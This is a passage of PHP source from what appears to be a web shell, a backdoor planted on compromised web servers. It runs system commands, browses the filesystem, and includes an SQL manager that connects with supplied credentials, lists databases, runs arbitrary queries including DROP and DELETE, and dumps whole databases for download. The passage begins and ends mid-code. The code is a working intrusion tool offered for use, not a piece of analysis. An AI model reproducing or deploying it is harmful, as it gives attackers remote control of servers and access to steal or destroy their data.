wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php
  1208. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  1209. if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
  1210. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  1211. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  1212. $d = str_replace("\\\\","\\",$d);
  1213. $dispd = htmlspecialchars($d);
  1214. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
  1215. $i = 0;
  1216. foreach($pd as $b)
  1217. {
  1218.  $t = "";
  1219.  $j = 0;
  1220.  foreach ($e as $r)
  1221.  {
  1222.   $t.= $r.DIRECTORY_SEPARATOR;
  1223.   if ($j == $i) {break;}
  1224.   $j++;
  1225.  }
  1226.  echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
  1227.  $i++;
  1228. }
  1229. echo "&nbsp;&nbsp;&nbsp;";
  1230. if (is_writable($d))
  1231. {
  1232.  $wd = TRUE;
  1233.  $wdt = "<font color=green>[ ok ]</font>";
  1234.  echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
  1235. }
  1236. else
  1237. {
  1238.  $wd = FALSE;
  1239.  $wdt = "<font color=red>[ Read-Only ]</font>";
  1240.  echo "<b>".view_perms_color($d)."</b>";
  1241. }
  1242. if (is_callable("disk_free_space"))
  1243. {
  1244.  $free = disk_free_space($d);
  1245.  $total = disk_total_space($d);
  1246.  if ($free === FALSE) {$free = 0;}
  1247.  if ($total === FALSE) {$total = 0;}
  1248.  if ($free < 0) {$free = 0;}
  1249.  if ($total < 0) {$total = 0;}
  1250.  $used = $total-$free;
  1251.  $free_percent = round(100/($total/$free),2);
  1252.  echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
  1253. }
  1254. echo "<br>";
  1255. echo "<b>Your ip: <a href=http://whois.domaintools.com/".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a> - Server ip: <a href=http://whois.domaintools.com/".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a></b><br/>";
  1256. $letters = "";
  1257. if ($win)
  1258. {
  1259.  $v = explode("\\",$d);
  1260.  $v = $v[0];
  1261.  foreach (range("a","z") as $letter)
  1262.  {
  1263.   $bool = $isdiskette = in_array($letter,$safemode_diskettes);
  1264.   if (!$bool) {$bool = is_dir($letter.":\\");}
  1265.   if ($bool)
  1266.   {
  1267.    $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";
  1268.    if ($letter.":" != $v) {$letters .= $letter;}
  1269.    else {$letters .= "<font color=green>".$letter."</font>";}
  1270.    $letters .= " ]</a> ";
  1271.   }
  1272.  }
  1273.  if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
  1274. }
  1275. if (count($quicklaunch) > 0)
  1276. {
  1277.  foreach($quicklaunch as $item)
  1278.  {
  1279.   $item[1] = str_replace("%d",urlencode($d),$item[1]);
  1280.   $item[1] = str_replace("%sort",$sort,$item[1]);
  1281.   $v = realpath($d."..");
  1282.   if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
  1283.   $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  1284.   echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
  1285.  }
  1286. }
  1287. echo "</p></td></tr></table><br>";
  1288. if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
  1289. echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
  1290. if ($act == "") {$act = $dspact = "ls";}
  1291. if ($act == "sql")
  1292. {
  1293.  $sql_surl = $surl."act=sql";
  1294.  if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
  1295.  if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
  1296.  if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
  1297.  if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
  1298.  if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
  1299.  $sql_surl .= "&";
  1300.  ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
  1301.  if ($sql_server)
  1302.  {
  1303.   $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  1304.   $err = mysql_smarterror();
  1305.   @mysql_select_db($sql_db,$sql_sock);
  1306.   if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  1307.  }
  1308.  else {$sql_sock = FALSE;}
  1309.  echo "<b>SQL Manager:</b><br>";
  1310.  if (!$sql_sock)
  1311.  {
  1312.   if (!$sql_server) {echo "NO CONNECTION";}
  1313.   else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
  1314.  }
  1315.  else
  1316.  {
  1317.   $sqlquicklaunch = array();
  1318.   $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  1319.   $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
  1320.   $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
  1321.   $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
  1322.   $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
  1323.   $sqlquicklaunch[] = array("Logout",$surl."act=sql");
  1324.   echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
  1325.   if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
  1326.   echo "</center>";
  1327.  }
  1328.  echo "</td></tr><tr>";
  1329.  if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
  1330.  else
  1331.  {
  1332.   //Start left panel
  1333.   if (!empty($sql_db))
  1334.   {
  1335.    ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
  1336.    $result = mysql_list_tables($sql_db);
  1337.    if (!$result) {echo mysql_smarterror();}
  1338.    else
  1339.    {
  1340.     echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
  1341.     $c = 0;
  1342.     while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
  1343.     if (!$c) {echo "No tables found in database.";}
  1344.    }
  1345.   }
  1346.   else
  1347.   {
  1348.    ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
  1349.    $result = mysql_list_dbs($sql_sock);
  1350.    if (!$result) {echo mysql_smarterror();}
  1351.    else
  1352.    {
  1353.     ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
  1354.     $c = 0;
  1355.     $dbs = "";
  1356.     while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
  1357.     echo "<option value=\"\">Databases (".$c.")</option>";
  1358.     echo $dbs;
  1359.    }
  1360.    ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
  1361.   }
  1362.   //End left panel
  1363.   echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
  1364.   //Start center panel
  1365.   $diplay = TRUE;
  1366.   if ($sql_db)
  1367.   {
  1368.    if (!is_numeric($c)) {$c = 0;}
  1369.    if ($c == 0) {$c = "no";}
  1370.    echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
  1371.    if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  1372.    echo "</b></center>";
  1373.    $acts = array("","dump");
  1374.    if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1375.    elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
  1376.    elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
  1377.    elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1378.    elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1379.    elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1380.    elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1381.    elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
  1382.    elseif ($sql_tbl_act == "insert")
  1383.    {
  1384.     if ($sql_tbl_insert_radio == 1)
  1385.     {
  1386.      $keys = "";
  1387.      $akeys = array_keys($sql_tbl_insert);
  1388.      foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
  1389.      if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
  1390.      $values = "";
  1391.      $i = 0;
  1392.      foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
  1393.      if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
  1394.      $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
  1395.      $sql_act = "query";
  1396.      $sql_tbl_act = "browse";
  1397.     }
  1398.     elseif ($sql_tbl_insert_radio == 2)
  1399.     {
  1400.      $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
  1401.      $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
  1402.      $result = mysql_query($sql_query) or print(mysql_smarterror());
  1403.      $result = mysql_fetch_array($result, MYSQL_ASSOC);
  1404.      $sql_act = "query";
  1405.      $sql_tbl_act = "browse";
  1406.     }
  1407.    }
  1408.    if ($sql_act == "query")
  1409.    {
  1410.     echo "<hr size=\"1\" noshade>";
  1411.     if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  1412.     if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  1413.     if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";}
  1414.    }
  1415.    if (in_array($sql_act,$acts))
  1416.    {
  1417.     ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
  1418.     if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
  1419.     if ($sql_act == "newtbl")
  1420.     {
  1421.      echo "<b>";
  1422.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
  1423.     }
  1424.     else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  1425.    }
  1426.    elseif ($sql_act == "dump")
  1427.    {
  1428.     if (empty($submit))
  1429.     {
  1430.      $diplay = FALSE;
  1431.      echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
  1432.      echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
  1433.      $v = join (";",$dmptbls);
  1434.      echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
  1435.      if ($dump_file) {$tmp = $dump_file;}
  1436.      else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
  1437.      echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
  1438.      echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
  1439.      echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
  1440.      echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
  1441.      echo "</form>";
  1442.     }
  1443.     else
  1444.     {
  1445.      $diplay = TRUE;
  1446.      $set = array();
  1447.      $set["sock"] = $sql_sock;
  1448.      $set["db"] = $sql_db;
  1449.      $dump_out = "download";
  1450.      $set["print"] = 0;
  1451.      $set["nl2br"] = 0;
  1452.      $set[""] = 0;
  1453.      $set["file"] = $dump_file;
  1454.      $set["add_drop"] = TRUE;
  1455.      $set["onlytabs"] = array();
  1456.      if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
  1457.      $ret = mysql_dump($set);
  1458.      if ($sql_dump_download)
  1459.      {
  1460.       @ob_clean();
  1461.       header("Content-type: application/octet-stream");
  1462.       header("Content-length: ".strlen($ret));
  1463.       header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
  1464.       echo $ret;
  1465.       exit;
  1466.      }
  1467.      elseif ($sql_dump_savetofile)
  1468.      {
  1469.       $fp = fopen($sql_dump_file,"w");
  1470.       if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
  1471.       else
  1472.       {
  1473.        fwrite($fp,$ret);
  1474.        fclose($fp);
  1475.        echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
  1476.       }
  1477.      }
  1478.      else {echo "<b>Dump: nothing to do!</b>";}
  1479.     }
  1480.    }
  1481.    if ($diplay)
  1482.    {
  1483.     if (!empty($sql_tbl))
  1484.     {
  1485.      if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
  1486.      $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
  1487.      $count_row = mysql_fetch_array($count);
  1488.      mysql_free_result($count);
  1489.      $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
  1490.      $tbl_struct_fields = array();
  1491.      while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
  1492.      if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
  1493.      if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
  1494.      if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
  1495.      if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
  1496.      $perpage = $sql_tbl_le - $sql_tbl_ls;
  1497.      if (!is_numeric($perpage)) {$perpage = 10;}
  1498.      $numpages = $count_row[0]/$perpage;
  1499.      $e = explode(" ",$sql_order);
  1500.      if (count($e) == 2)
  1501.      {
  1502.       if ($e[0] == "d") {$asc_desc = "DESC";}
  1503.       else {$asc_desc = "ASC";}
  1504.       $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
  1505.      }
  1506.      else {$v = "";}
  1507.      $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
  1508.      $result = mysql_query($query) or print(mysql_smarterror());
  1509.      echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
  1510.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1511.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1512.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1513.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1514.      if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
  1515.      if ($sql_tbl_act == "insert")
  1516.      {
  1517.       if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
  1518.       if (!empty($sql_tbl_insert_radio))
  1519.       {
  1520.  
  1521.       }
  1522.       else
  1523.       {
  1524.        echo "<br><br><b>Inserting row into table:</b><br>";
  1525.        if (!empty($sql_tbl_insert_q))
  1526.        {
  1527.         $sql_query = "SELECT * FROM `".$sql_tbl."`";
  1528.         $sql_query .= " WHERE".$sql_tbl_insert_q;
  1529.         $sql_query .= " LIMIT 1;";
  1530.         $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
  1531.         $values = mysql_fetch_assoc($result);
  1532.         mysql_free_result($result);
  1533.        }
  1534.        else {$values = array();}
  1535.        echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
  1536.        foreach ($tbl_struct_fields as $field)
  1537.        {
  1538.         $name = $field["Field"];
  1539.         if (empty($sql_tbl_insert_q)) {$v = "";}
  1540.         echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
  1541.         $i++;
  1542.        }
  1543.        echo "</table><br>";
  1544.        echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
  1545.        if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
  1546.        echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
  1547.       }
  1548.      }
  1549.      if ($sql_tbl_act == "browse")
  1550.      {
  1551.       $sql_tbl_ls = abs($sql_tbl_ls);
  1552.       $sql_tbl_le = abs($sql_tbl_le);
  1553.       echo "<hr size=\"1\" noshade>";
  1554.       echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
  1555.       $b = 0;
  1556.       for($i=0;$i<$numpages;$i++)
  1557.       {
  1558.        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
  1559.        echo $i;
  1560.        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
  1561.        if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
  1562.        else {echo "&nbsp;";}
  1563.       }
  1564.       if ($i == 0) {echo "empty";}
  1565.       echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
  1566.       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>";
  1567.       echo "<tr>";
  1568.       echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
  1569.       for ($i=0;$i<mysql_num_fields($result);$i++)
  1570.       {
  1571.        $v = mysql_field_name($result,$i);
  1572.        if ($e[0] == "a") {$s = "d"; $m = "asc";}
